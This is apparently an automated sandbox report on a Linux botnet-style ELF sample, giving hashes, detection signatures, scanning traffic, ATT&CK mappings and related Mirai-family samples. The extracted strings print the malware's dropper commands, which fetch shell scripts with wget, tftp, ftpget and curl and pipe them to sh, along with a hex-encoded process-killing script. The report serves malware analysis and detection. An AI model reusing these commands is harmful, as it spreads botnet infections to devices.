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Linux Analysis Report
nabspc.elf

Overview

General Information

Sample name:	nabspc.elf
Analysis ID:	1563413
MD5:	dddc3f82208eb401ed192e45d1a1b3f7
SHA1:	6b7dfb18648785896bd8b65f887df7623c55ffb0
SHA256:	c83383c76f5a312bb8120c146cbb7860a3c1a5da5c8a99040bbcd62229e078b5
Tags:	elfuser-abuse_ch
Infos:

Detection

Score:	56
Range:	0 - 100
Whitelisted:	false

Signatures

Multi AV Scanner detection for submitted file

Connects to many ports of the same IP (likely port scanning)

Uses known network protocols on non-standard ports

Detected TCP or UDP traffic on non-standard ports

Enumerates processes within the "proc" file system

Found strings indicative of a multi-platform dropper

Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable

Sample has stripped symbol table

Sample listens on a socket

Tries to connect to HTTP servers, but all servers are down (expired dropper behavior)

Uses the "uname" system call to query kernel version information (possible evasion)

Classification

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1563413
Start date and time:	2024-11-26 23:15:00 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 4m 42s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	defaultlinuxfilecookbook.jbs
Analysis system description:	Ubuntu Linux 20.04 x64 (Kernel 5.4.0-72, Firefox 91.0, Evince Document Viewer 3.36.10, LibreOffice 6.4.7.2, OpenJDK 11.0.11)
Analysis Mode:	default
Sample name:	nabspc.elf
Detection:	MAL
Classification:	mal56.troj.linELF@0/147@1/0

Runtime Messages

Command:	/tmp/nabspc.elf
PID:	6214
Exit Code:	0
Exit Code Info:
Killed:	False
Standard Output:	The Peoples Bank of China.
Standard Error:

Process Tree

system is lnxubuntu20

nabspc.elf (PID: 6214, Parent: 6126, MD5: 7dc1c0e23cd5e102bb12e5c29403410e) Arguments: /tmp/nabspc.elf

nabspc.elf New Fork (PID: 6217, Parent: 6214)

nabspc.elf New Fork (PID: 6219, Parent: 6217)

nabspc.elf New Fork (PID: 6221, Parent: 6217)

nabspc.elf New Fork (PID: 6224, Parent: 6217)

cleanup

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Multi AV Scanner detection for submitted file

Source: nabspc.elf

ReversingLabs: Detection: 34%

Source: nabspc.elf

String: /bin/busyboxincorrectinvalidbadwrongfaildeniederrorretryenableshellshlinuxshellping ;shusage: busybox/bin/busybox hostname PBOC/bin/busybox echo > .b && sh .b && cd .ksh .k/bin/busybox wget http:///wget.sh -O- | sh;/bin/busybox tftp -g -r tftp.sh -l- | sh;/bin/busybox ftpget ftpget.sh ftpget.sh && sh ftpget.sh;curl http:///curl.sh -o- | sh/bin/busybox chmod +x .d; ./.d; ./dvrHelper selfrepThe People's/tmp//var//var/run//var/tmp//dev//dev/shm//etc//mnt//usr//boot//home/"\x23\x21\x2F\x62\x69\x6E\x2F\x73\x68\x0A\x0A\x66\x6F\x72\x20\x70\x72\x6F\x63\x5F\x64\x69\x72\x20\x69\x6E\x20\x2F\x70\x72\x6F\x63""\x2F\x2A\x3B\x20\x64\x6F\x0A\x20\x20\x20\x20\x70\x69\x64\x3D\x24\x7B\x70\x72\x6F\x63\x5F\x64\x69\x72\x23\x23\x2A\x2F\x7D\x0A\x0A""\x20\x20\x20\x20\x72\x65\x73\x75\x6C\x74\x3D\x24\x28\x6C\x73\x20\x2D\x6C\x20\x22\x2F\x70\x72\x6F\x63\x2F\x24\x70\x69\x64\x2F\x65""\x78\x65\x22\x20\x32\x3E\x20\x2F\x64\x65\x76\x2F\x6E\x75\x6C\x6C\x29\x0A\x0A\x20\x20\x20\x20\x69\x66\x20\x5B\x20\x22\x24\x72\x65""\x73\x75\x6C\x74\x22\x20\x21\x3D\x20\x22\x24\x7B\x72\x65\x73\x75\x6C\x74\x25\x28\x64\x65\x6C\x65\x74\x65\x64\x29\x7D\x22\x20\x5D""\x3B\x20\x74\x68\x65\x6E\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x6B\x69\x6C\x6C\x20\x2D\x39\x20\x22\x24\x70\x69\x64\x22\x0A\x20\x20""\x20\x20\x66\x69\x0A\x64\x6F\x6E\x65\x0A"armarm5arm6arm7mipsmpslppcspcsh4

Source: global traffic	TCP traffic: 192.168.2.23:43928 -> 91.189.91.42:443
Source: global traffic	TCP traffic: 192.168.2.23:42836 -> 91.189.91.43:443
Source: global traffic	TCP traffic: 192.168.2.23:42516 -> 109.202.202.202:80

Source: unknown	TCP traffic detected without corresponding DNS query: 37.104.163.193
Source: unknown	TCP traffic detected without corresponding DNS query: 8.93.235.104
Source: unknown	TCP traffic detected without corresponding DNS query: 213.196.163.54
Source: unknown	TCP traffic detected without corresponding DNS query: 82.195.175.27
Source: unknown	TCP traffic detected without corresponding DNS query: 51.98.116.209
Source: unknown	TCP traffic detected without corresponding DNS query: 151.193.74.28
Source: unknown	TCP traffic detected without corresponding DNS query: 19.96.220.235
Source: unknown	TCP traffic detected without corresponding DNS query: 60.148.12.91
Source: unknown	TCP traffic detected without corresponding DNS query: 168.120.121.160
Source: unknown	TCP traffic detected without corresponding DNS query: 152.24.7.208
Source: unknown	TCP traffic detected without corresponding DNS query: 86.222.95.27
Source: unknown	TCP traffic detected without corresponding DNS query: 45.81.226.212
Source: unknown	TCP traffic detected without corresponding DNS query: 82.119.14.166
Source: unknown	TCP traffic detected without corresponding DNS query: 115.234.187.153
Source: unknown	TCP traffic detected without corresponding DNS query: 47.214.100.27
Source: unknown	TCP traffic detected without corresponding DNS query: 67.238.121.7
Source: unknown	TCP traffic detected without corresponding DNS query: 156.33.225.111
Source: unknown	TCP traffic detected without corresponding DNS query: 14.141.6.67
Source: unknown	TCP traffic detected without corresponding DNS query: 51.254.250.108
Source: unknown	TCP traffic detected without corresponding DNS query: 103.39.189.192
Source: unknown	TCP traffic detected without corresponding DNS query: 99.5.40.186
Source: unknown	TCP traffic detected without corresponding DNS query: 62.142.173.20
Source: unknown	TCP traffic detected without corresponding DNS query: 13.247.141.140
Source: unknown	TCP traffic detected without corresponding DNS query: 17.34.246.253
Source: unknown	TCP traffic detected without corresponding DNS query: 203.94.192.89
Source: unknown	TCP traffic detected without corresponding DNS query: 11.101.107.43
Source: unknown	TCP traffic detected without corresponding DNS query: 192.45.61.241
Source: unknown	TCP traffic detected without corresponding DNS query: 199.182.175.162
Source: unknown	TCP traffic detected without corresponding DNS query: 53.32.221.24
Source: unknown	TCP traffic detected without corresponding DNS query: 104.93.78.150
Source: unknown	TCP traffic detected without corresponding DNS query: 130.213.100.85
Source: unknown	TCP traffic detected without corresponding DNS query: 34.219.114.188
Source: unknown	TCP traffic detected without corresponding DNS query: 36.123.235.180
Source: unknown	TCP traffic detected without corresponding DNS query: 191.218.212.53
Source: unknown	TCP traffic detected without corresponding DNS query: 181.60.166.218
Source: unknown	TCP traffic detected without corresponding DNS query: 29.252.44.96
Source: unknown	TCP traffic detected without corresponding DNS query: 122.45.135.163
Source: unknown	TCP traffic detected without corresponding DNS query: 188.223.211.167
Source: unknown	TCP traffic detected without corresponding DNS query: 121.216.250.7
Source: unknown	TCP traffic detected without corresponding DNS query: 168.18.101.75
Source: unknown	TCP traffic detected without corresponding DNS query: 98.19.14.33
Source: unknown	TCP traffic detected without corresponding DNS query: 78.99.166.159
Source: unknown	TCP traffic detected without corresponding DNS query: 37.104.163.193
Source: unknown	TCP traffic detected without corresponding DNS query: 7.40.241.107
Source: unknown	TCP traffic detected without corresponding DNS query: 136.101.44.30
Source: unknown	TCP traffic detected without corresponding DNS query: 188.64.145.3
Source: unknown	TCP traffic detected without corresponding DNS query: 18.174.84.2
Source: unknown	TCP traffic detected without corresponding DNS query: 207.254.214.28
Source: unknown	TCP traffic detected without corresponding DNS query: 191.107.150.56
Source: unknown	TCP traffic detected without corresponding DNS query: 102.27.26.232

Source: nabspc.elf	String found in binary or memory: http:///curl.sh
Source: nabspc.elf	String found in binary or memory: http:///wget.sh

Source: unknown	Network traffic detected: HTTP traffic on port 43928 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 42836 -> 443

Source: Initial sample	String containing 'busybox' found: /bin/busybox echo -ne
Source: Initial sample	String containing 'busybox' found: /bin/busybox echo -ne >> > .d
Source: Initial sample	String containing 'busybox' found: /bin/busybox
Source: Initial sample	String containing 'busybox' found: usage: busybox
Source: Initial sample	String containing 'busybox' found: /bin/busybox hostname PBOC
Source: Initial sample	String containing 'busybox' found: /bin/busybox echo >
Source: Initial sample	String containing 'busybox' found: /bin/busybox wget http://
Source: Initial sample	String containing 'busybox' found: /wget.sh -O- \| sh;/bin/busybox tftp -g
Source: Initial sample	String containing 'busybox' found: -r tftp.sh -l- \| sh;/bin/busybox ftpget
Source: Initial sample	String containing 'busybox' found: /bin/busybox chmod +x .d; ./.d; ./dvrHelper selfrep
Source: Initial sample	String containing 'busybox' found: /bin/busyboxincorrectinvalidbadwrongfaildeniederrorretryenableshellshlinuxshellping ;shusage: busybox/bin/busybox hostname PBOC/bin/busybox echo > .b && sh .b && cd .ksh .k/bin/busybox wget http:///wget.sh -O- \| sh;/bin/busybox tftp -g -r tftp.sh -l- \| sh;/bin/busybox ftpget ftpget.sh ftpget.sh && sh ftpget.sh;curl http:///curl.sh -o- \| sh/bin/busybox chmod +x .d; ./.d; ./dvrHelper selfrepThe People's/tmp//var//var/run//var/tmp//dev//dev/shm//etc//mnt//usr//boot//home/"\x23\x21\x2F\x62\x69\x6E\x2F\x73\x68\x0A\x0A\x66\x6F\x72\x20\x70\x72\x6F\x63\x5F\x64\x69\x72\x20\x69\x6E\x20\x2F\x70\x72\x6F\x63""\x2F\x2A\x3B\x20\x64\x6F\x0A\x20\x20\x20\x20\x70\x69\x64\x3D\x24\x7B\x70\x72\x6F\x63\x5F\x64\x69\x72\x23\x23\x2A\x2F\x7D\x0A\x0A""\x20\x20\x20\x20\x72\x65\x73\x75\x6C\x74\x3D\x24\x28\x6C\x73\x20\x2D\x6C\x20\x22\x2F\x70\x72\x6F\x63\x2F\x24\x70\x69\x64\x2F\x65""\x78\x65\x22\x20\x32\x3E\x20\x2F\x64\x65\x76\x2F\x6E\x75\x6C\x6C\x29\x0A\x0A\x20\x20\x20\x20\x69\x66\x20\x5B\x20\x22\x24\x72\x65""\x73\x75\x6C\x74\x22\x20\x2

Source: /tmp/nabspc.elf (PID: 6221)	File opened: /proc/6241/maps	Jump to behavior
Source: /tmp/nabspc.elf (PID: 6221)	File opened: /proc/6241/cmdline	Jump to behavior
Source: /tmp/nabspc.elf (PID: 6221)	File opened: /proc/6252/maps	Jump to behavior
Source: /tmp/nabspc.elf (PID: 6221)	File opened: /proc/6252/cmdline	Jump to behavior
Source: /tmp/nabspc.elf (PID: 6221)	File opened: /proc/6240/maps	Jump to behavior
Source: /tmp/nabspc.elf (PID: 6221)	File opened: /proc/6240/cmdline	Jump to behavior
Source: /tmp/nabspc.elf (PID: 6221)	File opened: /proc/6251/maps	Jump to behavior
Source: /tmp/nabspc.elf (PID: 6221)	File opened: /proc/6251/cmdline	Jump to behavior
Source: /tmp/nabspc.elf (PID: 6221)	File opened: /proc/6243/maps	Jump to behavior
Source: /tmp/nabspc.elf (PID: 6221)	File opened: /proc/6243/cmdline	Jump to behavior
Source: /tmp/nabspc.elf (PID: 6221)	File opened: /proc/6242/maps	Jump to behavior
Source: /tmp/nabspc.elf (PID: 6221)	File opened: /proc/6242/cmdline	Jump to behavior
Source: /tmp/nabspc.elf (PID: 6221)	File opened: /proc/6245/maps	Jump to behavior
Source: /tmp/nabspc.elf (PID: 6221)	File opened: /proc/6245/cmdline	Jump to behavior
Source: /tmp/nabspc.elf (PID: 6221)	File opened: /proc/6289/maps	Jump to behavior
Source: /tmp/nabspc.elf (PID: 6221)	File opened: /proc/6289/cmdline	Jump to behavior
Source: /tmp/nabspc.elf (PID: 6221)	File opened: /proc/6244/maps	Jump to behavior
Source: /tmp/nabspc.elf (PID: 6221)	File opened: /proc/6244/cmdline	Jump to behavior
Source: /tmp/nabspc.elf (PID: 6221)	File opened: /proc/6247/maps	Jump to behavior
Source: /tmp/nabspc.elf (PID: 6221)	File opened: /proc/6247/cmdline	Jump to behavior
Source: /tmp/nabspc.elf (PID: 6221)	File opened: /proc/6246/maps	Jump to behavior
Source: /tmp/nabspc.elf (PID: 6221)	File opened: /proc/6246/cmdline	Jump to behavior
Source: /tmp/nabspc.elf (PID: 6221)	File opened: /proc/6250/maps	Jump to behavior
Source: /tmp/nabspc.elf (PID: 6221)	File opened: /proc/6250/cmdline	Jump to behavior
Source: /tmp/nabspc.elf (PID: 6221)	File opened: /proc/6238/maps	Jump to behavior
Source: /tmp/nabspc.elf (PID: 6221)	File opened: /proc/6238/cmdline	Jump to behavior
Source: /tmp/nabspc.elf (PID: 6221)	File opened: /proc/6249/maps	Jump to behavior
Source: /tmp/nabspc.elf (PID: 6221)	File opened: /proc/6249/cmdline	Jump to behavior
Source: /tmp/nabspc.elf (PID: 6221)	File opened: /proc/6237/maps	Jump to behavior
Source: /tmp/nabspc.elf (PID: 6221)	File opened: /proc/6237/cmdline	Jump to behavior
Source: /tmp/nabspc.elf (PID: 6221)	File opened: /proc/6248/maps	Jump to behavior
Source: /tmp/nabspc.elf (PID: 6221)	File opened: /proc/6248/cmdline	Jump to behavior
Source: /tmp/nabspc.elf (PID: 6221)	File opened: /proc/6303/maps	Jump to behavior
Source: /tmp/nabspc.elf (PID: 6221)	File opened: /proc/6303/cmdline	Jump to behavior
Source: /tmp/nabspc.elf (PID: 6221)	File opened: /proc/6239/maps	Jump to behavior
Source: /tmp/nabspc.elf (PID: 6221)	File opened: /proc/6239/cmdline	Jump to behavior

Source: nabspc.elf, 6214.1.000055b9f86a1000.000055b9f8726000.rw-.sdmp, nabspc.elf, 6219.1.000055b9f86a1000.000055b9f8726000.rw-.sdmp	Binary or memory string: /etc/qemu-binfmt/sparc
Source: nabspc.elf, 6214.1.000055b9f86a1000.000055b9f8726000.rw-.sdmp, nabspc.elf, 6219.1.000055b9f86a1000.000055b9f8726000.rw-.sdmp	Binary or memory string: U!/etc/qemu-binfmt/sparc
Source: nabspc.elf, 6214.1.00007ffddaa80000.00007ffddaaa1000.rw-.sdmp, nabspc.elf, 6219.1.00007ffddaa80000.00007ffddaaa1000.rw-.sdmp	Binary or memory string: /usr/bin/qemu-sparc
Source: nabspc.elf, 6214.1.00007ffddaa80000.00007ffddaaa1000.rw-.sdmp, nabspc.elf, 6219.1.00007ffddaa80000.00007ffddaaa1000.rw-.sdmp	Binary or memory string: x86_64/usr/bin/qemu-sparc/tmp/nabspc.elfSUDO_USER=saturninoPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/binDISPLAY=:1.0XAUTHORITY=/run/user/1000/gdm/XauthoritySUDO_UID=1000TERM=xterm-256colorCOLORTERM=truecolorLOGNAME=rootUSER=rootLANG=en_US.UTF-8SUDO_COMMAND=/bin/bashHOME=/rootMAIL=/var/mail/rootSUDO_GID=1000SHELL=/bin/bash/tmp/nabspc.elf

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	1 Scripting	Valid Accounts	Windows Management Instrumentation	1 Scripting	Path Interception	Direct Volume Access	1 OS Credential Dumping	11 Security Software Discovery	Remote Services	Data from Local System	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	Rootkit	LSASS Memory	Application Window Discovery	Remote Desktop Protocol	Data from Removable Media	11 Non-Standard Port	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	Obfuscated Files or Information	Security Account Manager	Query Registry	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	Binary Padding	NTDS	System Network Configuration Discovery	Distributed Component Object Model	Input Capture	2 Application Layer Protocol	Traffic Duplication	Data Destruction

Name	Source	Malicious	Antivirus Detection	Reputation
http:///wget.sh	nabspc.elf	false		high
http:///curl.sh	nabspc.elf	false		high

IP	Domain	Country	ASN	ASN Name	Malicious
82.189.40.224	unknown	Italy	3269	ASN-IBSNAZIT	false
99.15.53.69	unknown	United States	7018	ATT-INTERNET4US	false
217.154.244.153	unknown	United Kingdom	8897	KCOM-SPNService-ProviderNetworkex-MistralGB	false
120.172.224.88	unknown	Indonesia	4761	INDOSAT-INP-APINDOSATInternetNetworkProviderID	false
125.196.213.3	unknown	Japan	2518	BIGLOBEBIGLOBEIncJP	false
118.89.61.125	unknown	China	45090	CNNIC-TENCENT-NET-APShenzhenTencentComputerSystemsCompa	false
223.40.113.235	unknown	Korea Republic of	9644	SKTELECOM-NET-ASSKTelecomKR	false
47.1.51.233	unknown	United States	34533	ESAMARA-ASRU	false
162.186.140.33	unknown	United States	21928	T-MOBILE-AS21928US	false
155.98.228.99	unknown	United States	17055	UTAHUS	false
77.36.203.76	unknown	Iran (ISLAMIC Republic Of)	42586	IRIB-ASIR	false
184.173.76.217	unknown	United States	36351	SOFTLAYERUS	false
204.88.8.103	unknown	United States	393674	DEACONESSHOSPITALUS	false
19.18.64.209	unknown	United States	3	MIT-GATEWAYSUS	false
154.230.219.115	unknown	Uganda	37075	ZAINUGASUG	false
149.15.215.63	unknown	United States	20337	SUNYPOLY-ASNUS	false
175.194.246.9	unknown	Korea Republic of	4766	KIXS-AS-KRKoreaTelecomKR	false
196.236.158.24	unknown	Tunisia	37492	ORANGE-TN	false
203.217.116.32	unknown	Taiwan; Republic of China (ROC)	17809	VEETIME-TW-APVEETIMECORPTW	false
106.220.85.23	unknown	India	45609	BHARTI-MOBILITY-AS-APBhartiAirtelLtdASforGPRSService	false
33.62.72.44	unknown	United States	2686	ATGS-MMD-ASUS	false
114.68.97.165	unknown	China	23724	CHINANET-IDC-BJ-APIDCChinaTelecommunicationsCorporation	false
64.127.48.20	unknown	United States	15227	LUMOSUS	false
54.194.40.88	unknown	United States	16509	AMAZON-02US	false
96.62.217.206	unknown	United States	35908	VPLSNETUS	false
190.151.164.206	unknown	Argentina	27813	TeledifusoraSAAR	false
107.20.12.239	unknown	United States	14618	AMAZON-AESUS	false
80.35.75.34	unknown	Spain	3352	TELEFONICA_DE_ESPANAES	false
96.53.238.68	unknown	Canada	6327	SHAWCA	false
96.167.72.180	unknown	United States	7922	COMCAST-7922US	false
12.160.225.186	unknown	United States	14858	HISNETUS	false
34.146.43.228	unknown	United States	2686	ATGS-MMD-ASUS	false
176.96.106.38	unknown	Austria	8649	WEBTRAFFICDE	false
208.173.242.64	unknown	United States	1273	CWVodafoneGroupPLCEU	false
149.85.151.228	unknown	United States	19580	ART-LLCUS	false
196.33.161.202	unknown	South Africa	3741	ISZA	false
52.4.235.211	unknown	United States	14618	AMAZON-AESUS	false
6.80.123.236	unknown	United States	3356	LEVEL3US	false
85.160.212.103	unknown	Czech Republic	5610	O2-CZECH-REPUBLICCZ	false
53.240.77.139	unknown	Germany	31399	DAIMLER-ASITIGNGlobalNetworkDE	false
220.228.216.238	unknown	Taiwan; Republic of China (ROC)	9919	NCIC-TWNewCenturyInfoCommTechCoLtdTW	false
78.83.144.80	unknown	Bulgaria	8717	SPECTRUMNETBG	false
215.244.20.224	unknown	United States	721	DNIC-ASBLK-00721-00726US	false
208.102.175.124	unknown	United States	6181	FUSE-NETUS	false
200.82.66.58	unknown	Argentina	7303	TelecomArgentinaSAAR	false
99.107.56.2	unknown	United States	7018	ATT-INTERNET4US	false
177.155.200.16	unknown	Brazil	53222	SeanetTelecomLtdaBR	false
72.20.95.221	unknown	United States	26794	DCN-ASUS	false
140.3.233.78	unknown	United States	724	DNIC-ASBLK-00721-00726US	false
154.121.228.180	unknown	Algeria	327712	ATMDZ	false
221.56.69.35	unknown	Japan	17676	GIGAINFRASoftbankBBCorpJP	false
4.67.118.102	unknown	United States	46164	ATT-MOBILITY-LABSUS	false
110.108.83.49	unknown	China	9394	CTTNETChinaTieTongTelecommunicationsCorporationCN	false
197.101.68.125	unknown	South Africa	3741	ISZA	false
132.201.187.115	unknown	United States	10754	GOV-FRB-BOGUS	false
148.73.70.123	unknown	United States	18642	SAGENET-ENT2US	false
72.199.154.221	unknown	United States	22773	ASN-CXA-ALL-CCI-22773-RDCUS	false
142.197.167.156	unknown	United States	33363	BHN-33363US	false
170.31.142.30	unknown	United States	17094	MUTOMAHA-IUS	false
110.213.65.250	unknown	China	9394	CTTNETChinaTieTongTelecommunicationsCorporationCN	false
33.99.108.47	unknown	United States	2686	ATGS-MMD-ASUS	false
171.217.70.181	unknown	China	4134	CHINANET-BACKBONENo31Jin-rongStreetCN	false
189.110.224.51	unknown	Brazil	27699	TELEFONICABRASILSABR	false
133.162.73.100	unknown	Japan	2510	INFOWEBFUJITSULIMITEDJP	false
17.26.91.149	unknown	United States	714	APPLE-ENGINEERINGUS	false
61.51.205.7	unknown	China	4808	CHINA169-BJChinaUnicomBeijingProvinceNetworkCN	false
49.174.209.90	unknown	Korea Republic of	17858	POWERVIS-AS-KRLGPOWERCOMMKR	false
197.38.31.143	unknown	Egypt	8452	TE-ASTE-ASEG	false
23.14.124.15	unknown	United States	16625	AKAMAI-ASUS	false
112.133.153.238	unknown	Korea Republic of	10054	CMBKJ-AS-KRCMBKwangjuBroadcastingKR	false
157.141.133.214	unknown	United States	27064	DNIC-ASBLK-27032-27159US	false
75.59.213.139	unknown	United States	7018	ATT-INTERNET4US	false
89.10.93.62	unknown	Norway	15659	NEXTGENTELNEXTGENTELAutonomousSystemNO	false
12.19.154.168	unknown	United States	7018	ATT-INTERNET4US	false
204.112.153.138	unknown	Canada	7122	MTS-ASNCA	false
91.183.63.214	unknown	Belgium	5432	PROXIMUS-ISP-ASBE	false
115.255.0.26	unknown	India	18101	RELIANCE-COMMUNICATIONS-INRelianceCommunicationsLtdDAKC	false
101.110.194.51	unknown	Japan	17676	GIGAINFRASoftbankBBCorpJP	false
32.243.240.240	unknown	United States	2686	ATGS-MMD-ASUS	false
81.60.229.105	unknown	Spain	12357	COMUNITELSPAINES	false
168.46.12.140	unknown	United States	1761	TDIR-CAPNETUS	false
161.66.74.14	unknown	New Zealand	17542	HORTRESEARCH-AS-NZ-APHortResearchLimitedNZ	false
39.190.149.56	unknown	China	56041	CMNET-ZHEJIANG-APChinaMobilecommunicationscorporationC	false
219.4.152.62	unknown	Japan	17676	GIGAINFRASoftbankBBCorpJP	false
55.145.148.102	unknown	United States	1541	DNIC-ASBLK-01534-01546US	false
66.58.184.227	unknown	United States	8047	GCIUS	false
60.108.80.26	unknown	Japan	17676	GIGAINFRASoftbankBBCorpJP	false
109.212.195.138	unknown	France	3215	FranceTelecom-OrangeFR	false
52.220.163.165	unknown	United States	16509	AMAZON-02US	false
114.61.174.199	unknown	China	9812	CNNIC-CN-COLNETOrientalCableNetworkCoLtdCN	false
48.182.244.202	unknown	United States	2686	ATGS-MMD-ASUS	false
147.105.125.15	unknown	United States	22522	ULALAUNCHUS	false
208.187.234.44	unknown	United States	29951	SYPTEC-NOCUS	false
98.12.2.52	unknown	United States	12271	TWC-12271-NYCUS	false
141.165.117.64	unknown	United States	3479	PEACHNET-AS1US	false
33.83.111.43	unknown	United States	2686	ATGS-MMD-ASUS	false
124.221.188.80	unknown	China	45361	JCN-AS-KRUlsanJung-AngBroadcastingNetworkKR	false
196.104.196.144	unknown	Kenya	33771	SAFARICOM-LIMITEDKE	false
176.129.206.35	unknown	France	5410	BOUYGTEL-ISPFR	false
60.126.101.95	unknown	Japan	17676	GIGAINFRASoftbankBBCorpJP	false

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
burnthe.libre	nabsh4.elf	Get hash	malicious	Unknown	Browse	154.213.187.249
	zerspc.elf	Get hash	malicious	Unknown	Browse	154.213.187.248
	m68k.elf	Get hash	malicious	Unknown	Browse	154.213.187.214
	nklppc.elf	Get hash	malicious	Unknown	Browse	154.213.187.249
	nklarm7.elf	Get hash	malicious	Unknown	Browse	154.213.187.247
	zermips.elf	Get hash	malicious	Unknown	Browse	154.213.187.248
	arm7.elf	Get hash	malicious	Unknown	Browse	154.213.187.214
	nabarm7.elf	Get hash	malicious	Unknown	Browse	154.213.187.247
	arm5.elf	Get hash	malicious	Unknown	Browse	154.213.187.213

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
KCOM-SPNService-ProviderNetworkex-MistralGB	m68k.elf	Get hash	malicious	Unknown	Browse	194.62.44.61
	mipsel.nn.elf	Get hash	malicious	Mirai, Okiru	Browse	213.254.176.44
	owari.arm7.elf	Get hash	malicious	Mirai	Browse	158.179.210.2
	xd.x86.elf	Get hash	malicious	Mirai	Browse	159.15.172.114
	specifications and technical requirements.pdf	Get hash	malicious	HTMLPhisher	Browse	194.164.76.123
	botnet.sh4.elf	Get hash	malicious	Mirai, Moobot	Browse	159.15.200.54
	Payload 94.75.225.exe	Get hash	malicious	Unknown	Browse	194.164.16.95
	WARUNKI UMOWY-pdf.bat.exe	Get hash	malicious	FormBook, GuLoader	Browse	195.26.248.78
	VERTRAG-pdf.bat.exe	Get hash	malicious	FormBook, GuLoader	Browse	195.26.248.78
	S#U00f6zle#U015fme Anla#U015fmalar#U0131-pdf.bat.exe	Get hash	malicious	GuLoader	Browse	195.26.248.78
ATT-INTERNET4US	mips.elf	Get hash	malicious	Unknown	Browse	32.123.148.98
	nabmpsl.elf	Get hash	malicious	Unknown	Browse	104.183.152.56
	nabsh4.elf	Get hash	malicious	Unknown	Browse	76.215.242.241
	m68k.elf	Get hash	malicious	Unknown	Browse	139.151.95.172
	nklppc.elf	Get hash	malicious	Unknown	Browse	12.34.53.194
	nklarm7.elf	Get hash	malicious	Unknown	Browse	75.36.193.96
	arm7.elf	Get hash	malicious	Unknown	Browse	12.206.33.211
	nabarm7.elf	Get hash	malicious	Unknown	Browse	63.192.239.85
	arm5.elf	Get hash	malicious	Unknown	Browse	75.55.156.149
	la.bot.sh4.elf	Get hash	malicious	Unknown	Browse	172.171.37.11
INDOSAT-INP-APINDOSATInternetNetworkProviderID	la.bot.arm5.elf	Get hash	malicious	Mirai	Browse	120.162.13.0
	la.bot.powerpc.elf	Get hash	malicious	Unknown	Browse	120.180.71.232
	arm7.nn.elf	Get hash	malicious	Mirai, Okiru	Browse	120.163.221.201
	sora.m68k.elf	Get hash	malicious	Mirai	Browse	120.189.11.126
	yakuza.sh.elf	Get hash	malicious	Mirai	Browse	120.176.152.104
	sh4.nn.elf	Get hash	malicious	Mirai, Okiru	Browse	120.172.52.45
	x86_32.nn.elf	Get hash	malicious	Mirai, Okiru	Browse	120.168.128.117
	arm5.nn.elf	Get hash	malicious	Mirai, Okiru	Browse	120.171.4.219
	xd.ppc.elf	Get hash	malicious	Mirai	Browse	120.164.163.255
	x86.elf	Get hash	malicious	Mirai	Browse	120.174.222.25
ASN-IBSNAZIT	mips.elf	Get hash	malicious	Unknown	Browse	80.180.241.135
	nabmpsl.elf	Get hash	malicious	Unknown	Browse	2.113.61.39
	nabsh4.elf	Get hash	malicious	Unknown	Browse	85.38.161.113
	nklppc.elf	Get hash	malicious	Unknown	Browse	82.88.45.154
	nabarm7.elf	Get hash	malicious	Unknown	Browse	31.196.195.174
	arm5.elf	Get hash	malicious	Unknown	Browse	79.61.202.196
	la.bot.arm6.elf	Get hash	malicious	Unknown	Browse	94.91.130.102
	la.bot.sh4.elf	Get hash	malicious	Unknown	Browse	87.16.82.49
	la.bot.arm7.elf	Get hash	malicious	Unknown	Browse	79.30.89.179
	la.bot.arm.elf	Get hash	malicious	Unknown	Browse	79.16.43.179

Process:	/tmp/nabspc.elf
File Type:	ASCII text
Category:	dropped
Size (bytes):	249
Entropy (8bit):	3.2467782447126874
Encrypted:	false
SSDEEP:	6:MggDFxdTY/V05sDFLBgY/VfKoO/VNfiY/VH:MgYP5Exml
MD5:	CBFDF47F294CB43919B43CB3D3A2C8B9
SHA1:	C11E32BE726F7B494B300EB8754DBC45B8C16205
SHA-256:	3D0DCB1E3CCB3B0F7922ACD799A7C0BDF2FE35EAF5E2FCB056C7DF6AABD710EF
SHA-512:	4D57870CAB2744A8B4BC4A37F4387C1E2CC0DBC51EE4A41BD6435DCDCD831EB94864CE30A6B17B7A58CAC1414C24F1E41275B9678E1442FF2D010A28015B4FDF
Malicious:	false
Reputation:	low
Preview:	10000-1b000 r-xp 00000000 fd:00 531606 /tmp/..2c000-2d000 rw-p 0000c000 fd:00 531606 /tmp/..2d000-2f000 rw-p 00000000 00:00 0 .ff7fe000-ff7ff000 ---p 00000000 00:00 0 .ff7ff000-fffff000 rw-p 00000000 00:00 0 [stack].

Process:	/tmp/nabspc.elf
File Type:	ASCII text
Category:	dropped
Size (bytes):	249
Entropy (8bit):	3.2467782447126874
Encrypted:	false
SSDEEP:	6:MggDFxdTY/V05sDFLBgY/VfKoO/VNfiY/VH:MgYP5Exml
MD5:	CBFDF47F294CB43919B43CB3D3A2C8B9
SHA1:	C11E32BE726F7B494B300EB8754DBC45B8C16205
SHA-256:	3D0DCB1E3CCB3B0F7922ACD799A7C0BDF2FE35EAF5E2FCB056C7DF6AABD710EF
SHA-512:	4D57870CAB2744A8B4BC4A37F4387C1E2CC0DBC51EE4A41BD6435DCDCD831EB94864CE30A6B17B7A58CAC1414C24F1E41275B9678E1442FF2D010A28015B4FDF
Malicious:	false
Reputation:	low
